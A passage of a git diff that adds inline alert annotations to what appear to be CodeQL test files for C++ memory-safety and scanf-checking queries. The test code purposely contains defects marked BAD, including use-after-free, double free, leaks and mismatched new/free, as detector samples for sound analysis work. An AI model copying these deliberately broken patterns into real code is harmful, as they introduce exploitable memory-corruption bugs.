+68,7 @@ class AutoCloner AutoCloner(AutoCloner &from) : val(from.val) {}; ns::my_auto_ptr clone() { - return ns::my_auto_ptr(new AutoCloner(*this)); // GOOD [FALSE POSITIVE] + return ns::my_auto_ptr(new AutoCloner(*this)); // GOOD [FALSE POSITIVE] // $ Alert[cpp/memory-never-freed] } private: @@ -77,9 +77,9 @@ class AutoCloner int main() { - int *i1 = new int; // BAD: never deleted - int *i2 = id(new int); // BAD: never deleted - ignore(new int); // BAD: never deleted + int *i1 = new int; // BAD: never deleted // $ Alert[cpp/memory-never-freed] + int *i2 = id(new int); // BAD: never deleted // $ Alert[cpp/memory-never-freed] + ignore(new int); // BAD: never deleted // $ Alert[cpp/memory-never-freed] ns::my_auto_ptr a1(new char); // GOOD ns::my_auto_ptr a2(new short); // GOOD diff --git a/cpp/ql/test/query-tests/Critical/MemoryFreed/test.cpp b/cpp/ql/test/query-tests/Critical/MemoryFreed/test.cpp index 7f3afc95550c..7f2fd2b6101a 100644 --- a/cpp/ql/test/query-tests/Critical/MemoryFreed/test.cpp +++ b/cpp/ql/test/query-tests/Critical/MemoryFreed/test.cpp @@ -23,7 +23,7 @@ myClass1 :: myClass1() array1 = (int *)malloc(sizeof(int) * 100); array2 = (int *)malloc(sizeof(int) * 100); array3 = (int *)malloc(sizeof(int) * 100); - array4 = (int *)malloc(sizeof(int) * 100); // never freed + array4 = (int *)malloc(sizeof(int) * 100); // never freed // $ Alert[cpp/memory-never-freed] free(array1); } @@ -39,7 +39,7 @@ void myClass1 :: method1() array5 = (int *)malloc(sizeof(int) * 100); array6 = (int *)malloc(sizeof(int) * 100); array7 = (int *)malloc(sizeof(int) * 100); - array8 = (int *)malloc(sizeof(int) * 100); // never freed + array8 = (int *)malloc(sizeof(int) * 100); // never freed // $ Alert[cpp/memory-never-freed] free(array3); free(array5); @@ -70,7 +70,7 @@ myClass2 :: myClass2() array1 = (int *)malloc(sizeof(int) * 100); array2 = (int *)malloc(sizeof(int) * 100); array3 = (int *)malloc(sizeof(int) * 100); - array4 = (int *)malloc(sizeof(int) * 100); // never freed + array4 = (int *)malloc(sizeof(int) * 100); // never freed // $ Alert[cpp/memory-never-freed] free(array1); } @@ -86,7 +86,7 @@ void myClass2 :: method1() array5 = (int *)malloc(sizeof(int) * 100); array6 = (int *)malloc(sizeof(int) * 100); array7 = (int *)malloc(sizeof(int) * 100); - array8 = (int *)malloc(sizeof(int) * 100); // never freed + array8 = (int *)malloc(sizeof(int) * 100); // never freed // $ Alert[cpp/memory-never-freed] free(array3); free(array5); @@ -153,8 +153,8 @@ int overloadedNew() { new(buf) int[1]; // GOOD *(int*)buf = 4; - new(std::nothrow) int(3); // BAD - new(std::nothrow) int[2]; // BAD + new(std::nothrow) int(3); // BAD // $ Alert[cpp/memory-never-freed] + new(std::nothrow) int[2]; // BAD // $ Alert[cpp/memory-never-freed] return 0; } @@ -166,7 +166,7 @@ void output_msg(const char *msg); void test_strdup() { char msg[] = "OctoCat"; - char *cpy = strdup(msg); // BAD + char *cpy = strdup(msg); // BAD // $ Alert[cpp/memory-never-freed] output_msg(cpy); } @@ -210,14 +210,14 @@ void test_reassignment() { char *a = (char *)malloc(128); char *b = (char *)malloc(128); - free(a); - a[0] = 0; // BAD + free(a); // $ Source[cpp/use-after-free] + a[0] = 0; // BAD // $ Alert[cpp/use-after-free] a = b; a[0] = 0; // GOOD - free(a); - a[0] = 0; // BAD + free(a); // $ Source[cpp/use-after-free] + a[0] = 0; // BAD // $ Alert[cpp/use-after-free] DataPair p; p.data1 = new char[128]; @@ -225,8 +225,8 @@ void test_reassignment() { p.data1[0] = 0; // GOOD p.data2[0] = 0; // GOOD - delete [] p.data1; - p.data1[0] = 0; // BAD + delete [] p.data1; // $ Source[cpp/use-after-free] + p.data1[0] = 0; // BAD // $ Alert[cpp/use-after-free] p.data2[0] = 0; // GOOD p.data1 = new char[128]; diff --git a/cpp/ql/test/query-tests/Critical/MemoryFreed/test_free.cpp b/cpp/ql/test/query-tests/Critical/MemoryFreed/test_free.cpp index 0a6532015a76..afc0b428f060 100644 --- a/cpp/ql/test/query-tests/Critical/MemoryFreed/test_free.cpp +++ b/cpp/ql/test/query-tests/Critical/MemoryFreed/test_free.cpp @@ -8,10 +8,10 @@ int asprintf(char ** strp, const char * fmt, ...); void* test_double_free1(int *a) { - free(a); // GOOD - a[5] = 5; // BAD - *a = 5; // BAD - free(a); // BAD + free(a); // GOOD // $ Source[cpp/double-free] Source[cpp/use-after-free] + a[5] = 5; // BAD // $ Alert[cpp/use-after-free] + *a = 5; // BAD // $ Alert[cpp/use-after-free] + free(a); // BAD // $ Alert[cpp/double-free] a = (int*) malloc(8); free(a); // GOOD a = (int*) malloc(8); @@ -27,28 +27,28 @@ void test_double_free_aliasing(void *a, void* b) { } void test_dominance1(void *a) { - free(a); - if (condition()) free(a); // BAD + free(a); // $ Source[cpp/double-free] + if (condition()) free(a); // BAD // $ Alert[cpp/double-free] } void test_dominance2(void *a) { - free(a); - if (condition()) a = malloc(10); - if (condition()) free(a); // BAD + free(a); // $ Source[cpp/double-free] + if (condition()) a = malloc(10); // $ Alert[cpp/memory-may-not-be-freed] + if (condition()) free(a); // BAD // $ Alert[cpp/double-free] } void test_post_dominance1(int *a) { - if (condition()) free(a); + if (condition()) free(a); // $ Source[cpp/double-free] Source[cpp/use-after-free] if (condition()) a[2] = 5; // BAD [NOT DETECTED] - if (condition()) free(a); // BAD [NOT DETECTED] - a[2] = 5; // BAD - free(a); // BAD + if (condition()) free(a); // BAD [NOT DETECTED] // $ Source[cpp/double-free] Source[cpp/use-after-free] + a[2] = 5; // BAD // $ Alert[cpp/use-after-free] + free(a); // BAD // $ Alert[cpp/double-free] } void test_post_dominance2(void *a) { - if (condition()) free(a); - free(a); // BAD + if (condition()) free(a); // $ Source[cpp/double-free] + free(a); // BAD // $ Alert[cpp/double-free] } void test_post_dominance3(void *a) { @@ -66,10 +66,10 @@ void test_use_after_free6(int *a, int *b) { void test_use_after_free7(int *a) { a[0] = 42; - free(a); + free(a); // $ Source[cpp/double-free] Source[cpp/use-after-free] - if (a[3]) { // BAD - free(a); // BAD + if (a[3]) { // BAD // $ Alert[cpp/use-after-free] + free(a); // BAD // $ Alert[cpp/double-free] } } @@ -80,27 +80,27 @@ class A { void test_new1() { A *a = new A(); - delete(a); - a->f(); // BAD - delete(a); // BAD + delete(a); // $ Source[cpp/double-free] Source[cpp/use-after-free] + a->f(); // BAD // $ Alert[cpp/use-after-free] + delete(a); // BAD // $ Alert[cpp/double-free] } void test_dereference1(A *a) { a->f(); // GOOD - free(a); - a->f(); // BAD + free(a); // $ Source[cpp/use-after-free] + a->f(); // BAD // $ Alert[cpp/use-after-free] } void* use_after_free(void *a) { - free(a); - use(a); // BAD + free(a); // $ Source[cpp/use-after-free] + use(a); // BAD // $ Alert[cpp/use-after-free] return a; // BAD } void test_realloc1(void *a) { - free(a); - void *b = realloc(a, sizeof(a)*3); // BAD [NOT DETECTED by cpp/double-free] - free(a); // BAD + free(a); // $ Source[cpp/double-free] Source[cpp/use-after-free] + void *b = realloc(a, sizeof(a)*3); // BAD [NOT DETECTED by cpp/double-free] // $ Alert[cpp/use-after-free] + free(a); // BAD // $ Alert[cpp/double-free] free(b); // GOOD } void* test_realloc2(char *a) { @@ -125,8 +125,8 @@ void test_realloc3(void *a) { void test_ptr_deref(void ** a) { free(*a); *a = malloc(10); - free(*a); // GOOD - free(*a); // BAD + free(*a); // GOOD // $ Source[cpp/double-free] + free(*a); // BAD // $ Alert[cpp/double-free] *a = malloc(10); free(a[0]); // GOOD free(a[1]); // GOOD @@ -149,9 +149,9 @@ void test_loop1(struct list ** list_ptr) { } void test_use_after_free8(struct list * a) { - if (condition()) free(a); - a->data = malloc(10); // BAD - free(a); // BAD + if (condition()) free(a); // $ Source[cpp/double-free] Source[cpp/use-after-free] + a->data = malloc(10); // BAD // $ Alert[cpp/use-after-free] + free(a); // BAD // $ Alert[cpp/double-free] } void test_loop2(char ** a) { @@ -164,7 +164,7 @@ void test_loop2(char ** a) { void* test_realloc4() { void *a = 0; - void *b = realloc(a, 10); // BAD for cpp/memory-never-freed + void *b = realloc(a, 10); // BAD for cpp/memory-never-freed // $ Alert[cpp/memory-never-freed] if (!b) { return a; } return b; } @@ -204,9 +204,9 @@ char* test_return2(char *a) { void test_condition1(char *a) { free(a); if (asprintf(&a, "Hello world") || condition()); - free(a); //GOOD + free(a); //GOOD // $ Source[cpp/double-free] if (condition() || asprintf(&a, "Hello world")); - free(a); // BAD + free(a); // BAD // $ Alert[cpp/double-free] } void test_condition2(char *a) { @@ -230,27 +230,27 @@ void test_ms_free(void * memory_descriptor_list) { void test_loop3(char ** a, char ** b) { if (*a) { - free(*a); + free(*a); // $ Source[cpp/use-after-free] a++; } - use(*a); // GOOD [FALSE POSITIVE] + use(*a); // GOOD [FALSE POSITIVE] // $ Alert[cpp/use-after-free] for (;*b; b++) { - free(*b); + free(*b); // $ Source[cpp/use-after-free] } - use(*b); // GOOD [FALSE POSITIVE] + use(*b); // GOOD [FALSE POSITIVE] // $ Alert[cpp/use-after-free] } void test_deref(char **a) { - free(*a); - use(*a); // GOOD [FALSE POSITIVE] + free(*a); // $ Source[cpp/use-after-free] + use(*a); // GOOD [FALSE POSITIVE] // $ Alert[cpp/use-after-free] } // Refs void test_ref(char *&p) { free(p); - p = (char *)malloc(sizeof(char)*10); + p = (char *)malloc(sizeof(char)*10); // $ Alert[cpp/memory-never-freed] use(p); // GOOD free(p); // GOOD } @@ -258,13 +258,13 @@ void test_ref(char *&p) { void test_ref_delete(int *&p) { delete p; - p = new int; + p = new int; // $ Alert[cpp/memory-never-freed] use(p); // GOOD delete p; // GOOD } void test_free_assign() { - void *a = malloc(10); + void *a = malloc(10); // $ Alert[cpp/memory-may-not-be-freed] void *b; free(b = a); // GOOD } @@ -274,13 +274,13 @@ struct MyStruct { }; void test_free_struct(MyStruct* s) { - free(s->buf); - char c = s->buf[0]; // BAD + free(s->buf); // $ Source[cpp/use-after-free] + char c = s->buf[0]; // BAD // $ Alert[cpp/use-after-free] } void test_free_struct2(MyStruct s) { - free(s.buf); - char c = s.buf[0]; // BAD + free(s.buf); // $ Source[cpp/use-after-free] + char c = s.buf[0]; // BAD // $ Alert[cpp/use-after-free] } void test_free_struct3(MyStruct s) { @@ -290,16 +290,16 @@ void test_free_struct3(MyStruct s) { } void test_free_struct4(char* buf, MyStruct s) { - free(buf); + free(buf); // $ Source[cpp/use-after-free] s.buf = buf; - char c = s.buf[0]; // BAD + char c = s.buf[0]; // BAD // $ Alert[cpp/use-after-free] } void g_free (void*); void test_g_free(char* buf) { - g_free(buf); - g_free(buf); // BAD + g_free(buf); // $ Source[cpp/double-free] + g_free(buf); // BAD // $ Alert[cpp/double-free] } // inspired by real world FPs @@ -310,26 +310,26 @@ void test_goto() { *a = 1; // GOOD if (condition()) { - delete a; + delete a; // $ Source[cpp/use-after-free] goto after; } *a = 1; // GOOD if (condition()) { - delete a; + delete a; // $ Source[cpp/double-free] Source[cpp/use-after-free] } - *a = 1; // BAD (use after free) - delete a; // BAD (double free) + *a = 1; // BAD (use after free) // $ Alert[cpp/use-after-free] + delete a; // BAD (double free) // $ Alert[cpp/double-free] Source[cpp/use-after-free] after: - *a = 1; // BAD (use after free) + *a = 1; // BAD (use after free) // $ Alert[cpp/use-after-free] } void test_reassign() { int *a = (int *)malloc(sizeof(int)); *a = 1; // GOOD - delete a; - *a = 1; // BAD (use after free) + delete a; // $ Source[cpp/use-after-free] + *a = 1; // BAD (use after free) // $ Alert[cpp/use-after-free] a = (int *)malloc(sizeof(int)); *a = 1; // GOOD delete a; @@ -362,10 +362,10 @@ void test(E* e) { void test_return_by_parameter(int **out_i, MyStruct **out_ms) { int *a = (int *)malloc(sizeof(int)); // GOOD (freed) int *b = (int *)malloc(sizeof(int)); // GOOD (out parameter) - int *d = (int *)malloc(sizeof(int)); // BAD (not freed) + int *d = (int *)malloc(sizeof(int)); // BAD (not freed) // $ Alert[cpp/memory-never-freed] MyStruct *e = (MyStruct *)malloc(sizeof(MyStruct)); // GOOD (freed) MyStruct *f = (MyStruct *)malloc(sizeof(MyStruct)); // GOOD (out parameter) - MyStruct *h = (MyStruct *)malloc(sizeof(MyStruct)); // BAD (not freed) + MyStruct *h = (MyStruct *)malloc(sizeof(MyStruct)); // BAD (not freed) // $ Alert[cpp/memory-never-freed] free(a); *out_i = b; diff --git a/cpp/ql/test/query-tests/Critical/MissingCheckScanf/IncorrectCheckScanf.qlref b/cpp/ql/test/query-tests/Critical/MissingCheckScanf/IncorrectCheckScanf.qlref index b166b6b60b9c..39a4f630f4ca 100644 --- a/cpp/ql/test/query-tests/Critical/MissingCheckScanf/IncorrectCheckScanf.qlref +++ b/cpp/ql/test/query-tests/Critical/MissingCheckScanf/IncorrectCheckScanf.qlref @@ -1 +1,2 @@ -Critical/IncorrectCheckScanf.ql \ No newline at end of file +query: Critical/IncorrectCheckScanf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/MissingCheckScanf/MissingCheckScanf.qlref b/cpp/ql/test/query-tests/Critical/MissingCheckScanf/MissingCheckScanf.qlref index 97e85b5abbea..7d6dbd18683f 100644 --- a/cpp/ql/test/query-tests/Critical/MissingCheckScanf/MissingCheckScanf.qlref +++ b/cpp/ql/test/query-tests/Critical/MissingCheckScanf/MissingCheckScanf.qlref @@ -1 +1,2 @@ -Critical/MissingCheckScanf.ql \ No newline at end of file +query: Critical/MissingCheckScanf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/MissingCheckScanf/test.cpp b/cpp/ql/test/query-tests/Critical/MissingCheckScanf/test.cpp index 346cf607977b..f1f5e36ed251 100644 --- a/cpp/ql/test/query-tests/Critical/MissingCheckScanf/test.cpp +++ b/cpp/ql/test/query-tests/Critical/MissingCheckScanf/test.cpp @@ -31,8 +31,8 @@ int main() { int i; - scanf("%d", &i); - use(i); // BAD: may not have written `i` + scanf("%d", &i); // $ Source[cpp/missing-check-scanf] + use(i); // BAD: may not have written `i` // $ Alert[cpp/missing-check-scanf] } { @@ -64,8 +64,8 @@ int main() { int i; // Reused variable - scanf("%d", &i); - use(i); // BAD + scanf("%d", &i); // $ Source[cpp/missing-check-scanf] + use(i); // BAD // $ Alert[cpp/missing-check-scanf] if (scanf("%d", &i) == 1) { @@ -76,8 +76,8 @@ int main() { int i; // Reset variable - scanf("%d", &i); - use(i); // BAD + scanf("%d", &i); // $ Source[cpp/missing-check-scanf] + use(i); // BAD // $ Alert[cpp/missing-check-scanf] i = 1; use(i); // GOOD @@ -86,16 +86,16 @@ int main() { int *i = (int*)malloc(sizeof(int)); // Allocated variable - scanf("%d", i); - use(*i); // BAD + scanf("%d", i); // $ Source[cpp/missing-check-scanf] + use(*i); // BAD // $ Alert[cpp/missing-check-scanf] free(i); // GOOD } { int *i = new int; // Allocated variable - scanf("%d", i); - use(*i); // BAD + scanf("%d", i); // $ Source[cpp/missing-check-scanf] + use(*i); // BAD // $ Alert[cpp/missing-check-scanf] delete i; // GOOD } @@ -104,15 +104,15 @@ int main() { int i; - fscanf(get_a_stream(), "%d", &i); - use(i); // BAD: may not have written `i` + fscanf(get_a_stream(), "%d", &i); // $ Source[cpp/missing-check-scanf] + use(i); // BAD: may not have written `i` // $ Alert[cpp/missing-check-scanf] } { int i; - sscanf(get_a_string(), "%d", &i); - use(i); // BAD: may not have written `i` + sscanf(get_a_string(), "%d", &i); // $ Source[cpp/missing-check-scanf] + use(i); // BAD: may not have written `i` // $ Alert[cpp/missing-check-scanf] } { @@ -159,7 +159,7 @@ int main() { int i; - if (scanf("%d", &i) != 0) + if (scanf("%d", &i) != 0) // $ Alert[cpp/incorrectly-checked-scanf] { use(i); // BAD: scanf can return EOF } @@ -168,7 +168,7 @@ int main() { int i; - if (scanf("%d", &i) == 0) + if (scanf("%d", &i) == 0) // $ Alert[cpp/incorrectly-checked-scanf] { use(i); // BAD: checks return value incorrectly } @@ -190,7 +190,7 @@ int main() bool b; int i; - b = scanf("%d", &i); + b = scanf("%d", &i); // $ Alert[cpp/incorrectly-checked-scanf] if (b >= 1) { @@ -201,7 +201,7 @@ int main() { int i; - if (scanf("%d", &i)) + if (scanf("%d", &i)) // $ Alert[cpp/incorrectly-checked-scanf] use(i); // BAD } @@ -218,10 +218,10 @@ int main() { int i, j; - if (scanf("%d %d", &i, &j) >= 1) + if (scanf("%d %d", &i, &j) >= 1) // $ Source[cpp/missing-check-scanf] { use(i); // GOOD - use(j); // BAD: checks return value incorrectly + use(j); // BAD: checks return value incorrectly // $ Alert[cpp/missing-check-scanf] } } @@ -243,13 +243,13 @@ int main() if (maybe()) { break; } - else if (maybe() && (scanf("%5c %d", c, &d) == 1)) { // GOOD + else if (maybe() && (scanf("%5c %d", c, &d) == 1)) { // GOOD // $ Source[cpp/missing-check-scanf] use(*(int *)c); // GOOD - use(d); // BAD + use(d); // BAD // $ Alert[cpp/missing-check-scanf] } - else if ((scanf("%5c %d", c, &d) == 1) && maybe()) { // GOOD + else if ((scanf("%5c %d", c, &d) == 1) && maybe()) { // GOOD // $ Source[cpp/missing-check-scanf] use(*(int *)c); // GOOD - use(d); // BAD + use(d); // BAD // $ Alert[cpp/missing-check-scanf] } } } @@ -268,16 +268,16 @@ int main() int i; set_by_ref(i); - scanf("%d", &i); - use(i); // GOOD [FALSE POSITIVE] + scanf("%d", &i); // $ Source[cpp/missing-check-scanf] + use(i); // GOOD [FALSE POSITIVE] // $ Alert[cpp/missing-check-scanf] } { int i; set_by_ptr(&i); - scanf("%d", &i); - use(i); // GOOD [FALSE POSITIVE] + scanf("%d", &i); // $ Source[cpp/missing-check-scanf] + use(i); // GOOD [FALSE POSITIVE] // $ Alert[cpp/missing-check-scanf] } { @@ -288,8 +288,8 @@ int main() i = 0; } - scanf("%d", &i); - use(i); // BAD: `i` may not have been initialized + scanf("%d", &i); // $ Source[cpp/missing-check-scanf] + use(i); // BAD: `i` may not have been initialized // $ Alert[cpp/missing-check-scanf] } // --- different use --- @@ -400,8 +400,8 @@ char *my_string_copy() { for (int i = 0; i < len; i += 2) { unsigned int u; - sscanf(src + i, "%2x", &u); - *ptr++ = (char) u; // GOOD [FALSE POSITIVE]? src+i+{0,1} are always valid %x digits, so this should be OK. + sscanf(src + i, "%2x", &u); // $ Source[cpp/missing-check-scanf] + *ptr++ = (char) u; // GOOD [FALSE POSITIVE]? src+i+{0,1} are always valid %x digits, so this should be OK. // $ Alert[cpp/missing-check-scanf] } *ptr++ = 0; return DST_STRING; @@ -410,17 +410,17 @@ char *my_string_copy() { void scan_and_write() { { int i; - if (scanf("%d", &i) < 1) { + if (scanf("%d", &i) < 1) { // $ Source[cpp/missing-check-scanf] i = 0; } - use(i); // GOOD [FALSE POSITIVE]: variable is overwritten with a default value when scanf fails + use(i); // GOOD [FALSE POSITIVE]: variable is overwritten with a default value when scanf fails // $ Alert[cpp/missing-check-scanf] } { int i; - if (scanf("%d", &i) != 1) { + if (scanf("%d", &i) != 1) { // $ Source[cpp/missing-check-scanf] i = 0; } - use(i); // GOOD [FALSE POSITIVE]: variable is overwritten with a default value when scanf fails + use(i); // GOOD [FALSE POSITIVE]: variable is overwritten with a default value when scanf fails // $ Alert[cpp/missing-check-scanf] } } @@ -433,14 +433,14 @@ void scan_and_static_variable() { void bad_check() { { int i = 0; - if (scanf("%d", &i) != 0) { + if (scanf("%d", &i) != 0) { // $ Alert[cpp/incorrectly-checked-scanf] return; } use(i); // GOOD [FALSE POSITIVE]: Technically no security issue, but code is incorrect. } { int i = 0; - int r = scanf("%d", &i); + int r = scanf("%d", &i); // $ Alert[cpp/incorrectly-checked-scanf] if (!r) { return; } @@ -452,47 +452,47 @@ void bad_check() { void disjunct_boolean_condition(const char* modifier_data) { long value; - auto rc = sscanf(modifier_data, "%lx", &value); + auto rc = sscanf(modifier_data, "%lx", &value); // $ Source[cpp/missing-check-scanf] if((rc == EOF) || (rc == 0)) { return; } - use(value); // GOOD + use(value); // GOOD // $ Alert[cpp/missing-check-scanf] } void check_for_negative_test() { int res; int value; - res = scanf("%d", &value); // GOOD + res = scanf("%d", &value); // GOOD // $ Source[cpp/missing-check-scanf] if(res == 0) { return; } if (res < 0) { return; } - use(value); + use(value); // $ Alert[cpp/missing-check-scanf] } void multiple_checks() { { int i; - int res = scanf("%d", &i); + int res = scanf("%d", &i); // $ Source[cpp/missing-check-scanf] if (res >= 0) { if (res != 0) { - use(i); // GOOD: checks return value [FALSE POSITIVE] + use(i); // GOOD: checks return value [FALSE POSITIVE] // $ Alert[cpp/missing-check-scanf] } } } { int i; - int res = scanf("%d", &i); + int res = scanf("%d", &i); // $ Source[cpp/missing-check-scanf] if (res < 0) return; if (res != 0) { - use(i); // GOOD: checks return value [FALSE POSITIVE] + use(i); // GOOD: checks return value [FALSE POSITIVE] // $ Alert[cpp/missing-check-scanf] } } @@ -538,11 +538,11 @@ void switch_cases(const char *data) { float d, e, f; - switch (sscanf(data, "%f %f %f", &d, &e, &f)) { + switch (sscanf(data, "%f %f %f", &d, &e, &f)) { // $ Source[cpp/missing-check-scanf] case 2: use(d); // GOOD use(e); // GOOD - use(f); // BAD + use(f); // BAD // $ Alert[cpp/missing-check-scanf] break; case 3: use(d); // GOOD diff --git a/cpp/ql/test/query-tests/Critical/MissingNullTest/MissingNullTest.qlref b/cpp/ql/test/query-tests/Critical/MissingNullTest/MissingNullTest.qlref index f4e1c9888cb8..f9517d2a96f7 100644 --- a/cpp/ql/test/query-tests/Critical/MissingNullTest/MissingNullTest.qlref +++ b/cpp/ql/test/query-tests/Critical/MissingNullTest/MissingNullTest.qlref @@ -1 +1,2 @@ -Critical/MissingNullTest.ql \ No newline at end of file +query: Critical/MissingNullTest.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/MissingNullTest/test.cpp b/cpp/ql/test/query-tests/Critical/MissingNullTest/test.cpp index 73ebe8b56feb..6a5d98466f17 100644 --- a/cpp/ql/test/query-tests/Critical/MissingNullTest/test.cpp +++ b/cpp/ql/test/query-tests/Critical/MissingNullTest/test.cpp @@ -20,7 +20,7 @@ void test1(bool cond) y = *p; // BAD (p is uninitialized and could be 0) [NOT DETECTED] p = NULL; - y = *p; // BAD (p is 0) + y = *p; // BAD (p is 0) // $ Alert p = &x; y = *p; // GOOD (p points to x) p = q; @@ -32,7 +32,7 @@ void test1(bool cond) int *q = 0; memcpy(p, &y, sizeof(int)); // GOOD (p points to x) - memcpy(q, &y, sizeof(int)); // BAD (p is 0) + memcpy(q, &y, sizeof(int)); // BAD (p is 0) // $ Alert } { @@ -40,7 +40,7 @@ void test1(bool cond) int *q = 0; bcopy(&y, p, sizeof(int)); // GOOD (p points to x) - bcopy(&y, q, sizeof(int)); // BAD (p is 0) + bcopy(&y, q, sizeof(int)); // BAD (p is 0) // $ Alert } { @@ -48,14 +48,14 @@ void test1(bool cond) int *q = 0; mycopyint(&y, p); // GOOD (p points to x) - mycopyint(&y, q); // BAD (p is 0) + mycopyint(&y, q); // BAD (p is 0) // $ Alert } { int *p = 0; int *q = &x; - y = *p; // BAD (p is 0) + y = *p; // BAD (p is 0) // $ Alert memcpy(&p, &q, sizeof(p)); y = *p; // GOOD (p points to x) } @@ -64,7 +64,7 @@ void test1(bool cond) int *p = 0; int *q = &x; - y = *p; // BAD (p is 0) + y = *p; // BAD (p is 0) // $ Alert bcopy(&q, &p, sizeof(p)); y = *p; // GOOD (p points to x) } diff --git a/cpp/ql/test/query-tests/Critical/NewFree/NewArrayDeleteMismatch.qlref b/cpp/ql/test/query-tests/Critical/NewFree/NewArrayDeleteMismatch.qlref index 72039b834eb1..885b813268e5 100644 --- a/cpp/ql/test/query-tests/Critical/NewFree/NewArrayDeleteMismatch.qlref +++ b/cpp/ql/test/query-tests/Critical/NewFree/NewArrayDeleteMismatch.qlref @@ -1 +1,2 @@ -Critical/NewArrayDeleteMismatch.ql +query: Critical/NewArrayDeleteMismatch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/NewFree/NewDeleteArrayMismatch.qlref b/cpp/ql/test/query-tests/Critical/NewFree/NewDeleteArrayMismatch.qlref index 0acb486d3005..93e6941508c7 100644 --- a/cpp/ql/test/query-tests/Critical/NewFree/NewDeleteArrayMismatch.qlref +++ b/cpp/ql/test/query-tests/Critical/NewFree/NewDeleteArrayMismatch.qlref @@ -1 +1,2 @@ -Critical/NewDeleteArrayMismatch.ql +query: Critical/NewDeleteArrayMismatch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/NewFree/NewFreeMismatch.qlref b/cpp/ql/test/query-tests/Critical/NewFree/NewFreeMismatch.qlref index c7d3dfbdf085..f42f4eb16b90 100644 --- a/cpp/ql/test/query-tests/Critical/NewFree/NewFreeMismatch.qlref +++ b/cpp/ql/test/query-tests/Critical/NewFree/NewFreeMismatch.qlref @@ -1 +1,2 @@ -Critical/NewFreeMismatch.ql +query: Critical/NewFreeMismatch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/NewFree/test.cpp b/cpp/ql/test/query-tests/Critical/NewFree/test.cpp index 0807eadb3338..bec4798a2b0f 100644 --- a/cpp/ql/test/query-tests/Critical/NewFree/test.cpp +++ b/cpp/ql/test/query-tests/Critical/NewFree/test.cpp @@ -33,12 +33,12 @@ void f1() void f2() { delete global_p1; // GOOD - delete global_p2; // BAD: malloc -> delete + delete global_p2; // BAD: malloc -> delete // $ Alert[cpp/new-free-mismatch] } void f3() { - free(global_p1); // BAD: new -> delete + free(global_p1); // BAD: new -> delete // $ Alert[cpp/new-free-mismatch] free(global_p2); // GOOD } @@ -65,15 +65,15 @@ int main() delete p1; // GOOD delete [] p2; // GOOD - delete p3; // BAD: malloc -> delete + delete p3; // BAD: malloc -> delete // $ Alert[cpp/new-free-mismatch] } { myClass *p1 = new myClass; myClass *p2 = new myClass[10]; myClass *p3 = (myClass *)malloc(sizeof(myClass)); - free(p1); // BAD: new -> free - free(p2); // BAD: new[] -> free + free(p1); // BAD: new -> free // $ Alert[cpp/new-free-mismatch] + free(p2); // BAD: new[] -> free // $ Alert[cpp/new-free-mismatch] free(p3); // GOOD } @@ -88,7 +88,7 @@ int main() myClass *p1 = (myClass *)my_malloc(sizeof(myClass)); myClass *p2 = (myClass *)my_malloc(sizeof(myClass)); - delete p1; // BAD: malloc -> delete + delete p1; // BAD: malloc -> delete // $ Alert[cpp/new-free-mismatch] free(p2); // GOOD } { @@ -96,7 +96,7 @@ int main() myClass *p2 = (myClass *)malloc(sizeof(myClass)); my_delete(p1); // GOOD - my_delete(p2); // BAD: malloc -> delete + my_delete(p2); // BAD: malloc -> delete // $ Alert[cpp/new-free-mismatch] } // overwritten @@ -135,7 +135,7 @@ void test2() void *b = my_malloc_2(10); free(a); // GOOD - delete b; // BAD: malloc -> delete + delete b; // BAD: malloc -> delete // $ Alert[cpp/new-free-mismatch] } void *my_malloc_3(size_t size) @@ -152,7 +152,7 @@ void test3() void *b = my_malloc_3(10); free(a); // GOOD - delete b; // BAD: malloc -> delete + delete b; // BAD: malloc -> delete // $ Alert[cpp/new-free-mismatch] } void test4(bool do_array_delete) @@ -162,11 +162,11 @@ void test4(bool do_array_delete) if (do_array_delete) { - delete [] mc; // BAD + delete [] mc; // BAD // $ Alert[cpp/new-delete-array-mismatch] delete [] mc_array; // GOOD } else { delete mc; // GOOD - delete mc_array; // BAD + delete mc_array; // BAD // $ Alert[cpp/new-array-delete-mismatch] } } @@ -179,7 +179,7 @@ void test5(bool do_array_delete) { delete [] c_array_ptr_2; // GOOD } else { - delete c_array_ptr_2; // BAD + delete c_array_ptr_2; // BAD // $ Alert[cpp/new-array-delete-mismatch] } } @@ -211,7 +211,7 @@ void test7(bool do_array_delete) { if (do_array_delete) { - delete [] global_mc; // BAD + delete [] global_mc; // BAD // $ Alert[cpp/new-delete-array-mismatch] } else { delete global_mc; // GOOD } @@ -229,15 +229,15 @@ void test8(bool cond) } free(a); // GOOD - delete a; // BAD: malloc -> delete - delete [] a; // BAD: malloc -> delete[] + delete a; // BAD: malloc -> delete // $ Alert[cpp/new-free-mismatch] + delete [] a; // BAD: malloc -> delete[] // $ Alert[cpp/new-free-mismatch] - free(b); // BAD: new -> free + free(b); // BAD: new -> free // $ Alert[cpp/new-free-mismatch] delete b; // GOOD - delete [] b; // BAD: new -> delete[] + delete [] b; // BAD: new -> delete[] // $ Alert[cpp/new-delete-array-mismatch] - free(c); // BAD: new[] -> free - delete c; // BAD: new[] -> delete + free(c); // BAD: new[] -> free // $ Alert[cpp/new-free-mismatch] + delete c; // BAD: new[] -> delete // $ Alert[cpp/new-array-delete-mismatch] delete [] c; // GOOD } @@ -268,8 +268,8 @@ class ClassWithMembers ~ClassWithMembers() { delete a; // GOOD - delete [] b; // BAD: new -> delete[] - free(c); // BAD: new -> free + delete [] b; // BAD: new -> delete[] // $ Alert[cpp/new-delete-array-mismatch] + free(c); // BAD: new -> free // $ Alert[cpp/new-free-mismatch] } private: @@ -292,7 +292,7 @@ static void map_init() static void map_shutdown() { - delete map; // BAD: new[] -> delete + delete map; // BAD: new[] -> delete // $ Alert[cpp/new-array-delete-mismatch] map = 0; } @@ -307,7 +307,7 @@ class Test10 ~Test10() { - delete data; // BAD: new[] -> delete + delete data; // BAD: new[] -> delete // $ Alert[cpp/new-array-delete-mismatch] } char *data; @@ -332,7 +332,7 @@ class Test11 ~Test11() { - delete data; // BAD: new[] -> delete + delete data; // 